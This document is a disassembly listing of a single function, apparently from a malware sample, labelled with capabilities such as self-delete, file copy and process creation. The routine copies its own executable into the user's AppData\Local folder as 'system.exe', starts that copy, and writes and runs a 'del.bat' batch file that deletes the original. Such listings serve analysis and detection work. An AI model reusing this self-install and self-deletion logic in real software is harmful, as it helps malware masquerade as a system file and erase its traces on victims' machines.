Function at 0x406d00
Capabilities:
Check if file exists
Copy file
Create process on windows
Get file attributes
Get session user name
Self delete
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42bd5c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x900
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xff
lea eax, [ebp - 0x4b0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [ebp - 0x4b0], 0
mov dword [ebp - 0x6bc], 0xf
mov dword [ebp - 0x6c0], 0
mov byte [ebp - 0x6d0], 0
jne 0x406d7d
xor ecx, ecx
jmp 0x406d8f
lea ecx, [ebp - 0x4b0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406d86
sub ecx, edx
push ecx
lea eax, [ebp - 0x4b0]
push eax
lea ecx, [ebp - 0x6d0]
call fcn.0040c940
push 0xff
lea eax, [ebp - 0x3b0]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004148f0
xor eax, eax
xor ecx, ecx
add esp, 0xc
mov dword [ebp - 0x6d4], eax
xor edx, edx
mov dword [ebp - 0x6dc], ecx
cmp dword [ebp - 0x6c0], eax
jbe 0x406f20
mov esi, dword [ebp - 0x6bc]
mov edi, dword [ebp - 0x6d0]
nop dword [eax]
test eax, eax
lea eax, [ebp - 0x6d0]
jne 0x406ebd
cmp esi, 0x10
cmovae eax, edi
cmp byte [eax + edx - 5], 0x55
jne 0x406ea5
cmp esi, 0x10
lea eax, [ebp - 0x6d0]
cmovae eax, edi
cmp byte [eax + edx - 4], 0x73
jne 0x406ea5
cmp esi, 0x10
lea eax, [ebp - 0x6d0]
cmovae eax, edi
cmp byte [eax + edx - 3], 0x65
jne 0x406ea5
cmp esi, 0x10
lea eax, [ebp - 0x6d0]
cmovae eax, edi
cmp byte [eax + edx - 2], 0x72
jne 0x406ea5
cmp esi, 0x10
lea eax, [ebp - 0x6d0]
cmovae eax, edi
cmp byte [eax + edx - 1], 0x73
jne 0x406ea5
cmp esi, 0x10
lea eax, [ebp - 0x6d0]
cmovae eax, edi
cmp byte [eax + edx], 0x5c
jne 0x406ea5
lea ecx, [ebp - 0x3b0]
mov dword [ebp - 0x6d4], 1
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406e82
mov eax, dword [str._username_]
mov dword [ecx], eax
mov eax, dword [0x435f74]
mov dword [ecx + 4], eax
mov eax, dword [0x435f78]
mov dword [ecx + 8], eax
jmp 0x406f07
cmp esi, 0x10
lea eax, [ebp - 0x6d0]
cmovae eax, edi
mov al, byte [eax + edx]
mov byte [ebp + edx - 0x3b0], al
jmp 0x406f0d
cmp esi, 0x10
cmovae eax, edi
cmp byte [eax + edx], 0x5c
jne 0x406ed0
inc ecx
mov dword [ebp - 0x6dc], ecx
cmp ecx, 1
jl 0x406f0d
lea ecx, [ebp - 0x3b0]
lea eax, [ecx + 1]
mov dword [ebp - 0x6d8], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406ee4
sub ecx, dword [ebp - 0x6d8]
lea eax, [ebp - 0x6d0]
cmp esi, 0x10
cmovae eax, edi
mov al, byte [eax + edx]
mov byte [ebp + ecx - 0x3b0], al
mov ecx, dword [ebp - 0x6dc]
mov eax, dword [ebp - 0x6d4]
inc edx
cmp edx, dword [ebp - 0x6c0]
jb 0x406df0
lea eax, [ebp - 0x6e0]
mov dword [ebp - 0x6e0], 0x32
push eax
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, 0x20
push 0x12a
mov word [ebp - 0x200], ax
lea eax, [ebp - 0x1fe]
push 0
push eax
call fcn.004148f0
add esp, 0xc
push str.SystemDrive
call fcn.004183b0
lea edx, [ebp - 0x200]
add esp, 4
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x406f75
lea ecx, [ebp - 0x200]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406f90
mov eax, dword [str.Users_]
mov dword [ecx], eax
mov eax, dword [0x435f8c]
push 0xaa
mov dword [ecx + 4], eax
lea eax, [ebp - 0x2b0]
push 0
push eax
call fcn.004148f0
movups xmm0, xmmword [str.AppDataLocal_]
mov ax, word [0x435fa8]
lea edx, [ebp - 0xcc]
mov word [ebp - 0x6ec], ax
add esp, 0xc
mov al, byte [0x435faa]
mov esi, edx
movups xmmword [ebp - 0x68], xmm0
mov byte [ebp - 0x6ea], al
mov eax, dword [str.del.bat]
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x34], eax
mov eax, dword [0x435fb0]
movq qword [ebp - 0x48], xmm0
movq xmm0, qword [str.system.exe]
movq qword [ebp - 0x6f4], xmm0
xorps xmm0, xmm0
movq qword [ebp - 0x6e9], xmm0
mov dword [ebp - 0x30], eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x18], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x407032
lea edi, [ebp - 0x200]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407042
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x68]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x407060
lea edi, [ebp - 0x200]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407070
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x200]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x407090
lea edi, [ebp - 0x2b0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4070a0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x34]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4070c0
lea edi, [ebp - 0x2b0]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4070d0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x6f4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x4070f0
lea edi, [ebp - 0x200]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407100
mov ecx, edx
lea eax, [ebp - 0x200]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push eax
call esi
cmp eax, 0xffffffff
lea eax, [ebp - 0x2b0]
jne 0x407582
sub esp, 8
lea ecx, [ebp - 0x858]
push 2
push eax
call fcn.0040b010
mov edx, str._echo_off_n
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x858]
call fcn.0040f670
mov edx, str.del
lea ecx, [ebp - 0x858]
call fcn.0040f670
lea edx, [ebp - 0x3b0]
mov ecx, eax
call fcn.0040f670
mov dl, 0xa
mov ecx, eax
call fcn.0040f3c0
cmp dword [ebp - 0x808], 0
lea esi, [ebp - 0x854]
jne 0x407192
xor esi, esi
jmp 0x4071b9
lea ecx, [ebp - 0x854]
call fcn.0040d4f0
push dword [ebp - 0x808]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.0041a10e
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x854]
call fcn.0040d640
test esi, esi
jne 0x4071f3
mov eax, dword [ebp - 0x858]
lea ecx, [ebp - 0x858]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x4071eb
or eax, 4
push 0
push eax
call fcn.00402970
push 0
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x4b0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x8c
call fcn.0041070d
add esp, 4
mov dword [ebp - 0x6d4], eax
lea eax, [ebp - 0x6b8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 8
lea eax, [ebp - 0x6b8]
lea ecx, [ebp - 0x910]
push 0x21
push eax
call fcn.00409c80
push ecx
push 0xffffffffffffffff
push 0xffffffffffffffdc
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 2
call fcn.0040a8c0
mov edi, dword [ebp - 0x6e0]
xor esi, esi
lea ecx, [ebp - 0x910]
call fcn.0040aad0
movzx ecx, ax
mov eax, 0xffff
cmp ax, cx
sete al
test al, al
jne 0x407282
mov edi, ecx
mov eax, dword [ebp - 0x6d4]
mov word [eax + esi*2], di
inc esi
cmp esi, 0x24
jl 0x407263
cmp dword [ebp - 0x8b4], 0
lea esi, [ebp - 0x900]
jne 0x4072a5
xor esi, esi
jmp 0x4072cc
lea ecx, [ebp - 0x900]
call fcn.0040ce30
push dword [ebp - 0x8b4]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.0041a10e
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x900]
call fcn.0040cfa0
test esi, esi
jne 0x407306
mov eax, dword [ebp - 0x910]
lea ecx, [ebp - 0x910]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x4072fe
or eax, 4
push 0
push eax
call fcn.00402970
sub esp, 0xc
lea eax, [ebp - 0x200]
lea ecx, [ebp - 0x7a8]
push eax
call fcn.00409990
mov eax, dword [ebp - 0x6d4]
mov byte [ebp - 4], 3
cmp word [eax], 0x2a
je 0x4073a5
cmp word [eax + 2], 0x2a
je 0x4073a5
push ecx
push 0
push 0
lea ecx, [ebp - 0x7a8]
call fcn.0040a6b0
call fcn.00407920
sub esp, 0x18
mov esi, eax
mov edx, esp
mov dword [edx + 0x14], 7
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 8
jb 0x407366
mov eax, dword [edx]
jmp 0x407368
mov eax, edx
xor ecx, ecx
mov word [eax], cx
cmp word [esi], cx
je 0x407386
mov ecx, esi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407377
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, edx
call fcn.0040c5a0
lea ecx, [ebp - 0x30]
call fcn.00408d80
add esp, 0x18
mov esi, eax
mov byte [ebp - 4], 5
jmp 0x407469
mov esi, 0xffffffdc
nop word [eax + eax]
push ecx
mov eax, esi
lea ecx, [ebp - 0x7a8]
cdq
push edx
push eax
call fcn.0040a6b0
mov ecx, eax
call fcn.0040f070
add esi, 1
js 0x4073b0
mov eax, dword [ebp - 0x7a8]
lea ecx, [ebp - 0x7a8]
mov edx, 4
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
cmove eax, edx
push eax
call fcn.00402970
push ecx
push 0xffffffffffffffff
push 0xffffffffffffffdd
lea ecx, [ebp - 0x7a8]
call fcn.0040a6b0
call fcn.00407920
sub esp, 0x18
mov esi, eax
mov edx, esp
mov dword [edx + 0x14], 7
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 8
jb 0x407427
mov eax, dword [edx]
jmp 0x407429
mov eax, edx
xor ecx, ecx
mov word [eax], cx
cmp word [esi], cx
je 0x40744f
mov ecx, esi
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407440
sub ecx, edi
sar ecx, 1
push ecx
push esi
mov ecx, edx
call fcn.0040c5a0
lea ecx, [ebp - 0x30]
call fcn.00408d80
add esp, 0x18
mov esi, eax
mov byte [ebp - 4], 4
mov edx, 0x435f6c
lea ecx, [ebp - 0x7a8]
call fcn.0040e7c0
mov edx, esi
mov ecx, eax
call fcn.0040ee00
mov edx, 0x435f6c
mov ecx, eax
call fcn.0040e7c0
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x1c]
cmp eax, 8
jb 0x4074a7
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.0040d8b0
cmp dword [ebp - 0x758], 0
lea esi, [ebp - 0x7a4]
jne 0x4074ba
xor esi, esi
jmp 0x4074e1
lea ecx, [ebp - 0x7a4]
call fcn.0040ce30
push dword [ebp - 0x758]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.0041a10e
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x7a4]
call fcn.0040cfa0
test esi, esi
jne 0x40751b
mov eax, dword [ebp - 0x7a8]
lea ecx, [ebp - 0x7a8]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], esi
jne 0x407513
or eax, 4
push 0
push eax
call fcn.00402970
push 0x40
lea eax, [ebp - 0x84]
mov dword [ebp - 0x88], 0x44
push 0
push eax
call fcn.004148f0
xor eax, eax
mov dword [ebp - 0x5c], 1
add esp, 0xc
mov word [ebp - 0x58], ax
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
lea eax, [ebp - 0x6f4]
push eax
lea eax, [ebp - 0x88]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 1
call fcn.00418793
push eax
call esi
cmp eax, 0xffffffff
je 0x407646
push str.SystemDrive
call fcn.004183b0
lea edx, [ebp - 0x98]
add esp, 4
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x4075a3
lea ecx, [ebp - 0x98]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4075b7
mov eax, dword [str.Users_]
mov dword [ecx], eax
mov eax, dword [0x435f8c]
mov dword [ecx + 4], eax
lea eax, [ebp - 0x6d8]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x6d8], 0x19
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x30]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4075f0
lea edi, [ebp - 0x98]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407600
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x98]
dec edi
nop dword [eax]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407620
mov ecx, 5
lea eax, [ebp - 0x98]
mov esi, str.AppDataLocaldel.bat
rep movsd dword es:[edi], dword [esi]
push 0
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0x6bc]
cmp eax, 0x10
jb 0x407664
inc eax
lea ecx, [ebp - 0x6d0]
push eax
push dword [ebp - 0x6d0]
call fcn.0040d920
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041020c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret